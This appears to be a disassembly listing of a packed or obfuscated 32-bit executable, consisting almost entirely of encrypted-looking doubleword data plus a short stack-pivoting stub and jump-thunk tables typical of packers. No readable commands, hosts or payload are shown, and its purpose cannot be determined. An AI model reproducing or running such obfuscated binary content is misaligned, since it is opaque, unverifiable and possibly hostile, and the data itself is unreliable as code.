		dd 3F2A2A79h, 0AD238E0Fh, 41797702h, 1415E687h,	7A6F7982h
		dd 33911EFh, 816F089Eh,	28C99CDAh, 9778CD83h, 710704EAh
		dd 0FE450048h, 556CFBEEh, 0E6D63FFCh, 0C8F06DFDh, 9D000001h
		dd 6EBF9FEh, 0B5184C75h, 278ADEE3h, 573AAE4Fh, 0D9AB39C2h
		dd 2A7481Eh, 9617FB4Eh,	648D6FF2h, 0F5FA9D60h, 60C8CE97h
		dd 710604E7h, 2AC0A355h, 4528BC45h, 4E22F5B2h, 0EF061FAh
		dd 0BD08DF77h, 442BBE2Bh, 0C3B0D4A3h, 2AA2432Ah, 590FB047h
		dd 0CC9C21F4h, 2901D0BBh, 770EF0B0h, 597B930Ch,	0D979AECAh
		dd 8CBE772h, 7557A3F6h,	64229E57h, 119D66C4h, 1CF9D475h
		dd 590F597h, 0F0241843h, 98D6D7BEh, 0CF97DEC7h,	7BF1C0BAh
		dd 8F2D5817h, 3B9D57F3h, 0A1446F0Eh, 0E3BC2CD1h, 614D0F24h
		dd 413F8A26h, 0E93F560h, 9F064667h, 94FF7DA1h, 0E7B55816h
		dd 61DF8AC2h, 0D5690327h, 0D77511h, 9116F94Ch, 63886AF7h
		dd 2DD2A647h, 0D7BB2EBBh, 55D3B6D6h, 520C4E35h,	0BB55DF6h
		dd 0B834A371h, 771E5084h, 2A551276h, 0D856F28Ch, 666F0EAEh
		dd 613499F3h, 6D470C5Ch, 0D2D0BB39h, 0B636B494h, 51047511h
		dd 7FCB8533h, 710BB5E6h, 86318F5Ah, 20C5FDFBh, 0A623A54Eh
		dd 21AB4C23h, 0BA8EC8A4h, 6F03FAD0h, 25DF9B4Eh,	0FF0E272h
		dd 0C0C80CA3h, 7703E947h, 224A26B5h, 0F56EBA74h, 357703E9h
		dd 0DCDACFCFh, 81544FD1h, 0EAF462Bh, 9F20F75Ah,	0D4BA4BCDh
		dd 4C28BD2Fh, 0CFCDB7Ch, 0D7FB3984h, 424F89Fh, 5FDC4E8Bh
		dd 0E39F6AF1h, 14B7002h, 851E2A44h, 0FB5FDC4Eh,	69FC906Ch
		dd 8F496186h, 4EDC75D5h, 0B5205FDCh, 0DC4EFA93h, 1593465Fh
		dd 0E304E875h, 0AC5526C7h, 3911A93Ch, 5FDC4EA0h, 9BF3491Ch
		dd 0DD88DCD0h, 0F74A8A3Ah, 0A8044FBFh, 0DF8D32C5h, 91C8A34Ah
		dd 5F16F2EBh, 0AFA22AB1h, 3, 2A8003D6h,	5B26A647h, 0F45933B4h
		dd 66CB9D26h, 967B6D92h, 0D90F801h, 0B805476Ch,	0D4B9D3D4h
		dd 422FB942h, 0B4008B1h, 815E5456h, 4C6h, 4EE8300h, 5C243487h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 6268241Ch
		dd 89000003h, 68572434h, 1D1359A0h, 0BE56475Fh,	0E8F582D3h
		dd 895EF701h, 8B545FFBh, 0C4832434h, 8B95104h, 81000000h
		dd 0A10808E9h, 81F1012Fh, 0A10808C1h, 5919892Fh, 5724348Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 1C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		dw 0B89Ah
		dd 608EEA4h, 0E0FFC503h, 7880485Bh, 4109E58Fh, 65F880Eh
		dd 5B3A11B2h, 5A85444Bh, 795A7349h, 30910377h, 5C2CC9F7h
		dd 36E58C32h, 4C28A32Ch, 3576B28Fh, 40E8CF49h, 64A697E3h
		dd 4B461715h, 266183DBh, 2444E70Dh, 61980C0h, 7D0079EBh
		dd 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h
		dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h,	0BD897D60h
		dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h
		dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h
		dd 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h,	0F0009F89h
		dd 0D7C77156h, 1800BEB3h, 0C4D75671h, 8673E2ADh, 0E9739F85h
		dd 0F28h, 8F1CE68h, 8D5BE906h, 0C268FFFAh, 0E90608F2h
		dd 0FFFA8D51h, 8F3B668h, 8D47E906h, 268FFFAh, 0E90608F5h
		dd 0FFFA8D3Dh, 8F57068h, 8D33E906h, 3168FFFAh, 0E90608F6h
		dd 0FFFA8D29h, 8F70268h, 8D1FE906h, 0A568FFFAh,	0E90608F7h
		dd 0FFFA8D15h, 8F86868h, 8D0BE906h, 6268FFFAh, 0E90608F9h
		dd 0FFFA8D01h, 8FA7A68h, 8CF7E906h, 9F68FFFAh, 0E90608FCh
		dd 0FFFA8CEDh, 8FD8468h, 8CE3E906h, 0C9A8FFFAh,	40DDA024h
		dd 0AE40D5BBh, 1AF24705h, 8D62F795h, 53826064h,	1B497207h
		dd 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h, 1CB59515h,	60710601h
		dd 432A13D0h, 5B0DB25Ah, 6F29A30Eh, 99F3F89Eh, 7A1D70CCh
		dd 84C4E98Dh, 59167AC1h, 4EC7632Eh, 0B2770EF0h,	28CDA027h
		dd 205E25A0h, 0AA06AB4Dh, 865CECh, 82637512h, 4869C7ECh
		dd 9832E59Dh, 0B233DBAEh, 4C8A3EDh, 2E45DE6Ah, 2CBB710Bh
		dd 73103850h, 8D710B2Eh, 3E83C5EAh, 44365657h, 0DBEA5478h
		dd 1D273165h, 0DA93698Ch, 41h, 6785F065h, 0FF4DFF4Bh, 14C37511h
		dd 0DF2FAC74h, 3DFD710Bh, 0DF2EA783h, 0D92710Bh, 7A6F4602h
		dd 0EEA71F0h, 0EAF2E62Ah, 0E59369E6h, 0B7h, 6EEA00D3h
		dd 0D909D84Bh, 26E3C2BEh, 423E85CFh, 0A2432AC1h, 9B2472Ah
		dd 9A1BF25Fh, 0AD886FF2h, 77A7FEDAh, 5911FCFAh,	128B9Fh
		dd 0FB6E770Eh, 0F5AF697Dh, 0DFFBC55h, 0DF550077h, 0DFCD9CFh
		dd 73741B77h, 0C0E5881Dh, 1694FF88h, 0F66F058h,	1D47511h
		dd 0F1BD543h, 710B0B96h, 36817FEAh, 3515AD4Bh, 6F08BC07h
		dd 25C8E675h, 5439AF54h, 1C873EC3h, 0C1E6D63Dh,	0CC43429h
		dd 15E40000h, 8C69FC90h, 0FA9C6167h, 660E93F1h,	0D9BE0341h
		dd 736BCD0h, 5735BE53h,	0DB892EC2h, 491FA476h, 0F8EC11E4h
		dd 0D049E1D9h, 2C7105FFh, 452ADF9Ch, 0B24528BCh, 0F0245F0Dh
		dd 0FF4B6785h, 7511FF4Dh, 0B95A14C3h, 1A075E5Ah, 1DB6923Bh
		dd 63710BBFh, 0FB9369F4h, 0BBEB653h, 9ACE7271h,	6A20869Eh
		dd 0CF4193h, 2AF20000h,	472AA243h, 0B77109B2h, 0EF0FA93h
		dd 90092177h, 0EC770EF0h, 0C8602679h, 770EF04Fh, 0D5533EADh
		dd 0EE776DB5h, 16F9770Eh, 0FA9E8B69h, 0CD836EF5h, 78109578h
		dd 8A6444Fh, 78FA8D4Eh,	6C51CA5Eh, 38AF770Eh, 0D71B8C67h
		dd 20E77159h, 86557511h, 0DCDAA5C2h, 968986A2h,	98F76F08h
		dd 4B67F2F7h, 0CC777B88h, 0EDE00E49h, 0E0E5E70Ch, 0D6BB4A04h
		dd 47C2952Dh, 1CD02C27h, 64C99D1Bh, 5A576E93h, 9FE6D66Fh
		dd 0BD012CFh, 9E80000h,	801DE0E4h, 0EE80157Bh, 5A3287C5h
		dd 0CDA23755h, 13C2A024h, 5B09B247h, 0CF9D22F6h, 7D13987Ah
		dd 0ECE005E8h, 0DC75D5D5h, 207105FEh, 452AD390h, 916302BCh
		dd 6FFAFF90h, 0F88C687Dh, 6F7D8215h, 0A2432A74h, 0D3BB4A04h
		dd 0F061FAD2h, 8DF770Eh, 9E71DCACh, 10E64B19h, 0D8CAC921h
		dd 4FDB62A1h, 770E18D6h, 45D0BF2Ah, 0D6D7BE03h,	946104B2h
		dd 8C687D6Fh, 0BBC6443Dh, 0EFA5853Dh, 0AD751130h, 2BA9833Eh
		dd 1F9D8528h, 10387674h, 838859E2h, 38C15637h, 5656FF50h
		dd 9C5437B7h, 0CF9ABB31h, 19FEA9Dh, 9690C169h, 0A10C7D82h
		dd 29412CD1h, 5EBDAC6Fh, 0FE4FB7C6h, 82BC35AEh,	0B233C785h
		dd 12948FDAh, 82BC9D36h, 0E974E385h, 0DDB05513h, 0B5604F20h
		dd 5F4BF677h, 7E388712h, 0E2EA0BEFh, 906509E7h,	0B2B9F8FDh
		dd 17175C5Ch, 0ADC9A77h, 0FD9C0000h, 740194F8h,	0E2B4194Fh
		dd 4E268BD9h, 0C1563BA9h, 1FDE5438h, 4F1DA64Bh,	0F39116FAh
		dd 61678C6Eh, 90F4F99Ch, 0E861C9C1h, 547105FDh,	432AC7A4h
		dd 0F29D2AA2h, 906EBAF4h, 0C97511FEh, 0DB0F4E16h, 318F701Ch
		dd 68074510h, 47E39F1Dh, 6F0EA661h, 0BF44D5B8h,	3D75E0C1h
		dd 46031D9Ah, 4764B007h, 0FB556A78h, 9314E420h,	0AB01ECF9h
		dd 159E3BC3h, 0B66A770Eh, 776E7662h, 7B35996Ch,	0E1936AFh
		dd 61DF8A77h, 467Bh, 0A19E4100h, 3105027Ah, 0F04BC8A4h
		dd 0FF4B6785h, 7511AB4Eh, 0F4E1DDC2h, 0A2FB1FC0h, 0F25924CDh
		dd 0E840FAB4h, 710BDC6Fh, 0CFA21ECDh, 38C0842Dh, 710BDC9Dh
		dd 0A93FC057h, 0DB8D36C4h, 0A1106h, 2957800h, 18C07FDh
		dd 4B67886Ch, 0EF066FFh, 0B10FDA77h, 457D7B06h,	74A05E5h
		dd 0AB7F3B75h, 71060132h, 324CDB8Eh, 513BBC53h,	0CFD4A2FEh
		dd 0CA515F1Ah, 0A576306Eh, 58597148h, 1075F31Eh, 0AF3E787Dh
		dd 0CEA221CAh, 0AA3F5329h, 0B039DAC3h, 7904A325h, 0F0EB3F7Bh
		dd 486EFE58h, 6D00E59Dh, 0DEB10448h, 8DF88FD9h,	0E0B2536Fh
		dd 7235DDBh, 7511CFF9h,	44B1F067h, 15E0D375h, 9909875h
		dd 49280000h, 0C05D20A4h, 2EC0553Bh, 9A72C785h,	0DE27715h
		dd 0D302E0E4h, 9BC9F287h, 0F5D6236h, 0BDD3D8BAh, 2CA04528h
		dd 9C351595h, 0E07105FBh, 0F26F9350h, 0D8770EF0h, 0D7730FADh
		dd 750749B4h, 4C21590Ch, 0D64004A9h, 0B5D6637h,	559D395Eh
		dd 4B4E20C4h, 0F0F598EDh, 6A4EF98h, 50E2C068h, 85506F09h
		dd 0DBD68BEAh, 5BB656E6h, 922h,	5236B75Ah, 0C7852ECFh
		dd 71179C72h, 0E1E708ECh, 12767B1Ch, 60316590h,	0D0A0355Bh
		dd 46D4B92Fh, 0B35A2FBDh, 83075E32h, 5FB2EA7h, 1E29271h
		dd 4A2432Ah, 0F065FE4Ah, 0CDB770Eh, 0A45ED8B0h,	0EF10B84h
		dd 70AA0F77h, 715B3A0Bh, 582D8B5Eh, 8227C8B5h, 26C89FCAh
		dd 0F356369Dh, 51F194Dh, 0C2996C98h, 40Fh, 9F85F07Dh, 0FF96F5FEh
		dd 6CFBEEFEh, 49CFF652h, 85567507h, 0F82770CAh,	535E63EEh
		dd 94B6307Fh, 0DB8EA71Dh, 8627CE9Fh, 17987FC2h,	8130AD75h
		dd 6F1A7106h, 13113971h, 216F098Fh, 29BAF69h, 7E770375h
		dd 7428A1EBh, 0C1947703h, 14EE3B7Ah, 0DBB3E6DBh, 86106h
		dd 77781B00h, 0CAEF8C11h, 545D3386h, 24C9AD30h,	0B73CDDA0h
		dd 0F6A453D1h, 61F49821h, 95786C91h, 1BEEE207h,	441D7374h
		dd 0FA6DE642h, 21D37105h, 94470142h, 5B2015C7h,	1DB696D4h
		dd 63770E42h, 821578F4h, 0BF8B457Dh, 770E4126h,	41B42DFDh
		dd 5D08770Eh, 71199742h, 0E4E409ECh, 19737819h,	89C3E4B4h
		dd 69A9FD31h, 0DB8ADE42h, 41900921h, 79EC770Eh,	9EACB083h
		dd 38AB996Ch, 0D4000003h, 0EF0F26Fh, 0FADD877h,	6EFFB973h
		dd 62676186h, 0EF0B12Ah, 0DC580F77h, 74A0BCCh, 0BCFA6175h
		dd 23A14629h, 5636B75Eh, 2E486611h, 0C6B3BB6Dh,	4D2BE980h
		dd 0DD393713h, 0A8076F09h, 2D9F20C5h, 98348C75h, 8AC9E877h
		dd 4FE6DB0Bh, 790A2BFh,	49280000h, 0C05D20A4h, 2EC0553Bh
		dd 9A72C785h, 0DE27715h, 0D302E0E4h, 9BC9F287h,	0F5D6236h
		dd 0BDD3D8BAh, 2CA04528h, 9C351595h, 0E07105F9h, 432A9350h
		dd 0B0472AA2h, 91B9730Fh, 770EF0F8h, 731B9144h,	3A3E62D6h
		dd 996D4E22h, 296DDh, 0F26F5E00h, 0D8770EF0h, 0D7730FADh
		dd 750749EDh, 30EA8453h, 5335BA5Dh, 40D7BA36h, 0AC6F29BFh
		dd 0AF51D750h, 46B7C88Dh, 0AA34277Ah, 0C9ACC1BFh, 0D7B13ADCh
		dd 0D947EDB2h, 0E15746A2h, 4A35721Ah, 903612ACh, 0EE6F09D1h
		dd 57FB387Bh, 26C6E6DBh, 6ED2Bh, 0CBEC8F00h, 5E633085h
		dd 28D1A70Ah, 0B83DD1A4h, 0BB041D4h, 7A30EF45h,	95786C95h
		dd 19ECE005h, 8F12767Bh, 0F081C7E8h, 0F9F992B6h, 0B5477105h
		dd 0A2432A36h, 0D1AB6C2Ah, 0CDA7D0DBh, 7C1376F2h, 82B2117Bh
		dd 8671045Eh, 63D1C550h, 0AB3984A0h, 7E1733EDh,	0C2770E55h
		dd 1EA37017h, 969D1B4Eh, 996CB78Eh, 1149h, 0D45AEA00h
		dd 1C000001h, 0F04DC662h, 24B3770Eh, 0F86FCB48h, 0DE770EF0h
		dd 0C942E6B3h, 37770EF0h, 0E39DD5A0h, 0ED4B7002h, 749E0DDh
		dd 0F1895C75h, 1074791Ch, 0ADC5EA8Dh, 1BE57F3h,	0AF027106h
		dd 0DE5A21CAh, 108EF98Eh, 0E4CF256h, 3FAA6F09h,	0DB944D84h
		dd 0E57810E6h, 62Ah, 5A0EAF42h,	0CF9D26F7h, 796F947Ah
		dd 0E9FF0094h, 1A4E7304h, 58396DA8h, 0C8A83D53h, 3EDCA127h
		dd 0AB42D7B5h, 7B3F460Ah, 5F836AFh, 79FA8A71h, 2AA2432Ah
		dd 5D0FB047h, 8F6122F0h, 9867626Ah, 668B6DF0h, 4487466h
		dd 0E72BE9BAh, 0A127C8AFh, 6D527A82h, 77599h, 5A860000h
		dd 11Fh, 8F6C01D9h, 94B4626Ah, 770EF0FBh, 0B10F9A41h, 0EF10199h
		dd 9EE977h, 49EAC266h, 79337507h, 60138D1h, 5BD18471h
		dd 4E5D257Ah, 6E47C34Ch, 7006E783h, 0F9B3ED4Bh,	827E8314h
		dd 0CBE708EFh, 0BAA03911h, 491C7106h, 7E219FF3h, 5F31BAE6h
		dd 0A0F055Ah, 5B603D50h, 0C0E588DDh, 7730C7A6h,	194C1CA5h
		dd 0A677DAB2h, 0B31E4B1Dh, 0FBBA53F7h, 53067105h, 87F2B5D5h
		dd 53F95169h, 0D16F0908h, 0E1491BF2h, 77030A68h, 0D2BA01D4h
		dd 0A88928B7h, 29E6DB8Eh, 5308C41h, 0A9480000h,	20FD4004h
		dd 8E60F59Bh, 0FA926765h, 6D0297F5h, 73A20044h,	3BA95227h
		dd 0AF3DC256h, 0DDB338DAh, 4C00A548h, 3CD57535h, 807105F7h
		dd 6C0173F0h, 0E78A668Bh, 32D3EF10h, 8EDE5A5Bh,	21AB4C23h
		dd 0D46EB262h, 1B28BC41h, 996D5201h, 7FEh, 2C5A7900h, 0D9000000h
		dd 2AA2432Ah, 20F7B047h, 0F063FC4Ch, 32D9770Eh,	0D5A025A7h
		dd 8B4C0AB3h, 0F42B7DCAh, 0C5F9773Dh, 0B136D991h, 213ED3h
		dd 2A450000h, 4A04A243h, 0EF065FEh, 0B00CDB77h,	0E98F5ED8h
		dd 0C64464C0h, 85770EF0h, 5A3D7599h, 2A4C3755h,	9D2AA243h
		dd 6EBAF4F2h, 75074A8Eh, 0A85126C7h, 39D27620h,	87710601h
		dd 0D6EF45D0h, 0D8AD6703h, 5336B237h, 0C0553BBCh, 0A7C0882Dh
		dd 88A0DEDCh, 6EFE5B8Dh, 971CF98Ch, 0D3673819h,	66FF4B66h
		dd 0DA770E5Ah, 0DED66A0Fh, 0D871D991h, 24770EA6h, 0F98C2AB1h
		dd 6EF39116h, 41666687h, 2AFEB836h, 7511A41Ch, 91B4CF9Ah
		dd 54E0D321h, 41859B4h,	0C1500000h, 38C5A83Ch, 0A648DDB3h
		dd 12FA4F1Dh, 856AFFEDh, 5B9A687Ch, 3416A0Fh, 0B7D5DABEh
		dd 25AB5022h, 5438BD50h, 24BD8D0Dh, 987105F6h, 432A0BE8h
		dd 0B45B2EA2h, 21F45933h, 0E55FCC9Ch, 9116F9B1h, 0D0A045F3h
		dd 4C28BD2Fh, 6D525D67h, 431A99h, 0F0A50000h, 0FF4B6785h
		dd 7511AB4Eh, 8A5B17C2h, 515A3BE8h, 3DC2AA37h, 0C4533EABh
		dd 0A3DD7880h, 8017710Bh, 0A189437Fh, 710BA328h, 91B035D8h
		dd 39CACCAh, 79710BA4h,	0EF721692h, 69E4E40Dh, 382h, 8B6C0194h
		dd 523D8A66h, 0C80E1A54h, 0A67511F9h, 21F45933h, 8F61CC9Ch
		dd 0F99F626Ah, 0DADA98F0h, 0CF6504B6h, 7505E89Bh, 88C0E588h
		dd 4DFA76DDh, 7B0AA442h, 0DD9B119Ah, 0EDB074Dh,	92F6656Fh
		dd 93C6AAD5h, 55E71042h, 0BF8B27B2h, 75113159h,	9015F8D7h
		dd 0D8CCD9CFh, 2EB5652Eh, 0B53ED3BEh, 34EEA8D3h, 0B127B14h
		dd 0B0EBF71h, 6CB0476Fh, 0F6CAA635h, 0A94732A2h, 0AED33911h
		dd 8A516F0Eh, 717619ECh, 92F67217h, 948D680Fh, 9D0515B9h
		dd 0C6A7C3AEh, 5A328E2Fh, 0C99F20F7h, 9DD5D3BEh, 11A0D78Dh
		dd 9A7E5575h, 8B167315h, 7C1535EFh, 0C0710B80h,	27CF9F15h
		dd 710B80AAh, 8296BA66h, 9369DE7Ah, 5175h, 85F08600h, 0D4BA4B67h
		dd 227E7E5h, 78C784A4h,	164ABF10h, 89F5222Bh, 20084622h
		dd 7511D78Eh, 25BE8A0Ch, 0E5710BB7h, 0B01B71h, 568AB10h
		dd 15E04F74h, 3F0BC573h, 710BE5A6h, 0D9F14F1Ah,	710BE53Ch
		dd 100054C8h, 936A470Ch, 0B8CBh, 432A7400h, 0B2472AA2h
		dd 0F0D54EDAh, 442B770Eh, 0C5933B4h, 2FB2DAA1h,	5825A748h
		dd 8C5C30B5h, 770EEE96h, 0DCB035D8h, 16F9A649h,	9B20F291h
		dd 4A1720Ch, 5BD56D7Ah,	3D4A229Eh, 0E1A5452h, 75116B00h
		dd 94CB217Eh, 0C7359CA6h, 305B1478h, 0EE3AF4B2h, 710BE075h
		dd 0E6A01CCBh, 9914D42h, 621CCB6Fh, 87C5EE83h, 1D545D32h
		dd 0E6D6C830h, 0F32C21C9h, 0B5000001h, 3E83C1E6h, 0AD30545Dh
		dd 0DFA226CBh, 4FD2B637h, 0E14301AAh, 6A8F6036h, 0FEFF9366h
		dd 4C7507EAh, 0DDE2B518h, 98B0F68Fh, 7105F4FFh,	2A28CB7Dh
		dd 4528BC45h, 0A2750DB2h, 65DAA54h, 0BFD3A971h,	6785F0C4h
		dd 0D1D6BA4Bh, 7B0D1D5Bh, 0F17511FFh, 91FB0092h, 0F9FE91F4h
		dd 536FFAEFh, 0E018B199h, 0F164710Bh, 0C0A5137Bh, 1A328E33h
		dd 710BDF7Dh, 5741958Bh, 936A414Dh, 0BB0Ah, 432AB500h
		dd 0B2472AA2h, 0A1B75F09h, 0F8770EEEh, 0A18CC027h, 0AA0625A5h
		dd 0D98F30C7h, 4C1CA174h, 1452503Bh, 11EF0634h,	77197475h
		dd 0E04F1A72h, 3AB8C3ECh, 4F96AC7Ch, 0B9146F09h, 2F4BD6DBh
		dd 47E3B95Eh, 77085FCEh, 9ED8A732h, 5FCB44E4h, 9C7D7708h
		dd 0D3A93C17h, 0BC452ABFh, 0D6F91205h, 322FBFE6h, 10Eh
		dd 0A62ACBAEh, 2BB942D3h, 450BB046h, 0F59B1CF0h, 666A8F60h
		dd 7405518Ch, 0E4B4194Fh, 5A388DC3h, 0C7AE3351h, 9713A226h
		dd 5F41AB3h, 15D66671h,	0A4FA5E01h, 59D33AA7h, 0CCA837BCh
		dd 97D3D8B9h, 0C99C25F6h, 82C78126h, 18FF4226h,	0A647F197h
		dd 0DC572DD2h, 3FBF5E01h, 882611Ch, 4936D9ACh, 0D5B702A7h
		dd 1BF8A548h, 9E1FF396h, 580C9BCEh, 0D7BE642Fh,	28A0492Eh
		dd 2F4BD6BDh, 6D1131Bh,	0E5E0D75h, 1CE1CCA3h, 0D2D3A77Fh
		dd 4A8A2FBAh, 0E5457DE0h, 7106956Ch, 2ABE05D0h,	3EF9996Ch
		dd 1C529331h, 0B8D0BF63h, 5B32572Dh, 6EEA325Ah,	0A01B753Ah
		dd 6F06588Ch, 0E0B71A4Eh, 2E224B0Ch, 0E687C583h, 6F792DA6h
		dd 79C49303h, 0C5EA826Fh, 50593E83h, 3FC45538h,	0DA0E26ADh
		dd 6DB1F378h, 6BE444FEh, 0D1036F79h, 34DBAE0Ah,	0F6CE279h
		dd 48D7239Ch, 0D9DEB104h, 7106E7A1h, 18C74048h,	0A635036Fh
		dd 3AFA2CAh, 0D6000000h, 472A8003h, 0B45B26A6h,	26F45933h
		dd 9266CB9Dh, 1967B6Dh,	6C0D90F8h, 0D4B80547h, 42D4B9D3h
		dd 0B1422FB9h, 510B4008h, 0C181E189h, 4, 8704E983h, 895C240Ch
		dd 368241Ch, 8900006Eh,	682404h, 89000046h, 0BB532414h
		dd 608F082h, 89DE8956h,	685B5EF0h, 2D0Ah, 81242489h, 42404h
		dd 815A0000h, 4ECh, 24048900h, 0FF08428Fh, 835A2434h, 48B04C4h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 7E43E95Ch
		dd 7204FFFAh, 9C82F492h, 8FEB7B8h, 0FFC50306h, 9280E3E0h
		dd 7F323008h, 9B38F146h, 0C6A3CF05h, 0D49BDD31h, 0A3CC7C06h
		dd 8E0C2115h, 26EE126Ah, 83BD923Fh, 0A0FB547Ch,	0CCF94C7Bh
		dd 1C05D12h, 37EADA56h,	0CA6EE930h, 4A12462Dh, 5A95DE54h
		dd 65C9DA12h, 79AB2C7Ah, 3CCAF751h, 63EF5124h, 366AE63Bh
		dd 12E814h, 89BB0000h, 7F7CF378h, 920A2C9Fh, 2BF8DFFCh
		dd 0C0B794E2h, 0E9D98B60h, 9, 0E5742C11h, 2D26ABD6h, 0F586129h
		dd 387h, 0F28B6600h, 656CC081h,	39BE0000h, 680435A8h, 0
		dd 0FE8h, 0E8DF6C00h, 0CA353CA2h, 841F3E77h, 87A39A34h
		dd 9CDE8166h, 605B5F73h, 6E9h, 0F072E200h, 0FEB4883h, 0FF61DABFh
		dd 0E8500334h, 11h, 0A562CB46h,	0D457FBACh, 0EB115DCDh
		dd 0CCA4F320h, 10E95Fh,	9A330000h, 64B79848h, 0A9E4ADB9h
		dd 0D9F02847h, 5E59B436h, 0EA81F55Ah, 70355C14h, 81CAB70Fh
		dd 28E316F2h, 0F6816672h, 0C281E840h, 5404B50Eh, 89FBBF0Fh
		dd 21BF1814h, 8130A8E7h, 14D36DEBh, 0CE823h, 43D00000h
		dd 69540510h, 8E9BE8BEh, 0B70F5434h, 0C3815EFFh, 2314D369h
		dd 0FB81F78Bh, 0FFFF9B80h, 0FF79850Fh, 8D8DFFFFh, 60900F5h
		dd 2519BD89h, 8D890603h, 60331D1h, 2A958D89h, 85C70603h
		dd 60301E1h, 5DECh, 68BCEB81h, 85C70FADh, 60321BDh, 0
		dd 5E9BD33h, 0B5FF0603h, 60313E9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0C0C35040h,	5879F1D2h, 0B5898DF7h
		dd 6031AADh, 269195FFh,	0A2B00603h, 13ED958Bh, 6A0603h
		dd 1FB995FFh, 0C08B0603h, 5841EEBh, 73223E50h, 467390D8h
		dd 206D6CB0h, 10F5B025h, 0C7C32A7h, 0B5205D42h,	578F9A98h
		dd 17DE9h, 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h
		dd 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh
		dd 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh
		dd 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h
		dd 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h,	0E56CA191h
		dd 10000ACh, 43h dup(0)
		dd 0D1F80000h, 0DA43736h, 0B4B6D3C2h, 1AE97021h, 68000010h
		dd 6090452h, 0FB3FB3E9h, 55568FFh, 0A9E90609h, 68FFFB3Fh
		dd 60906C3h, 0FB3F9FE9h, 77C68FFh, 95E90609h, 68FFFB3Fh
		dd 60908B0h, 0FB3F8BE9h, 99068FFh, 81E90609h, 68FFFB3Fh
		dd 6090A47h, 0FB3F77E9h, 0AE368FFh, 6DE90609h, 68FFFB3Fh
		dd 6090BBDh, 0FB3F63E9h, 0C5B68FFh, 59E90609h, 68FFFB3Fh
		dd 6090D27h, 0FB3F4FE9h, 0DE568FFh, 45E90609h, 68FFFB3Fh
		dd 6090E9Eh, 0FB3F3BE9h, 102A68FFh, 31E90609h, 68FFFB3Fh
		dd 6091148h, 0FB3F27E9h, 771730FFh, 7A3C7E5h, 95315715h
		dd 27C7E187h, 0B6507735h, 134850A4h, 0A2C052F4h, 3E7CEE84h
		dd 0CBE97B17h, 441E0CAEh, 8390C6D9h, 5E6EA1A8h,	3AE00565h
		dd 3CDEFBBBh, 0C39DF92Eh, 0CF8100A2h, 4F4EE40Dh, 89E84D0Dh
		dd 0ADA49116h, 5033B262h, 0A1A2901Ah, 53936926h, 0AE9893A7h
		dd 4C10h, 1074AB00h, 11BC1732h,	33ADA491h, 288BA683h, 0A1A292BEh
		dd 34B55176h, 3D189874h, 0A29234A2h, 0A752C2A1h, 9221ADCCh
		dd 461DA1A2h, 8D9244E6h, 0D40BAE98h, 0CE000000h, 1E71AED4h
		dd 0A1A29E48h, 0EB4E0EB6h, 0A29EDE88h, 8D7838A1h, 3AE00508h
		dd 3ADCFBBBh, 3CDEFBBBh, 3EDCF9BDh, 8573AD2Ch, 9EBBA7A1h
		dd 2D486EFCh, 5B3F0C8Dh, 7CFBDA7Fh, 0D1ADA49Dh,	9C8FDBBAh
		dd 0C949A1A2h, 328DA83Ch, 0A1A29CA4h, 3022E252h, 8EAB8703h
		dd 0A42D2C37h, 0CD6828ABh, 0AE389BB6h, 0A8ABA94Dh, 82A11DE8h
		dd 133076E4h, 35B45271h, 4D2BBF16h, 6DD5ABA9h, 0EBFDEDADh
		dd 3828C458h, 0DC85EB9h, 34570000h, 0C0DA988Ah,	4E6A081Ah
		dd 0E404BAA8h, 6D8A283Ah, 2B735BC9h, 0E7751136h, 1301A1C1h
		dd 8C9E345Dh, 3D2FCBEEh, 8FDBBA63h, 49A1A884h, 0DE054A21h
		dd 71942A38h, 0E99E1328h, 7B990926h, 0DA9ADADBh, 0C372647Fh
		dd 148CA7A1h, 7499C654h, 75153010h, 0D1743474h,	0A491D3FEh
		dd 60C57DADh, 91640A22h, 9137BFDEh, 540BA1A2h, 8E8436F0h
		dd 0CDE8AE98h, 9D8BDFB6h, 0CD75A1A2h, 0A29DBA2Ch, 29DC44A1h
		dd 0C2E7h, 0C362FC00h, 86A0C6FDh, 2A3E5E4h, 20D584ACh
		dd 0C2C36782h, 66C36380h, 882A4B4Bh, 20B65709h,	0DEA7A18Fh
		dd 0B1D09366h, 0A7A18A67h, 1200AACFh, 1091395Ch, 0AE8B6723h
		dd 0A48C10D7h, 0CAE9A5ADh, 1EEBAD2Ch, 3D180A8Ah, 36C36381h
		dd 88AD890Dh, 6B7F566Dh, 0DCA1A2ABh, 0A2AB95C5h, 0DFB363A1h
		dd 3B339267h, 0DDABA405h, 0A5C2C065h, 365D1301h, 63A20090h
		dd 0F07128C4h, 0CC5E9h,	97375000h, 27C3E785h, 0B5517735h
		dd 47E701A7h, 0D67097D5h, 33287044h, 0C2E07214h, 5E1C0EA4h
		dd 0EB899B37h, 643E2CCEh, 85B026B9h, 3E4EA1A8h,	3ADE0545h
		dd 2279781Eh, 0A1801743h, 7131E1A7h, 0E80DA3B1h, 5ABD042h
		dd 0FBBB3AE0h, 0CB8659DEh, 314105D0h, 5B2FBB5Ah, 6929A7A1h
		dd 1074BBA9h, 557C1732h, 0C77B0F40h, 1F3AD1A4h,	0D9D882A7h
		dd 0E873D2A7h, 6CADA423h, 7EF3DA55h, 7F3F36AAh,	6571F7Eh
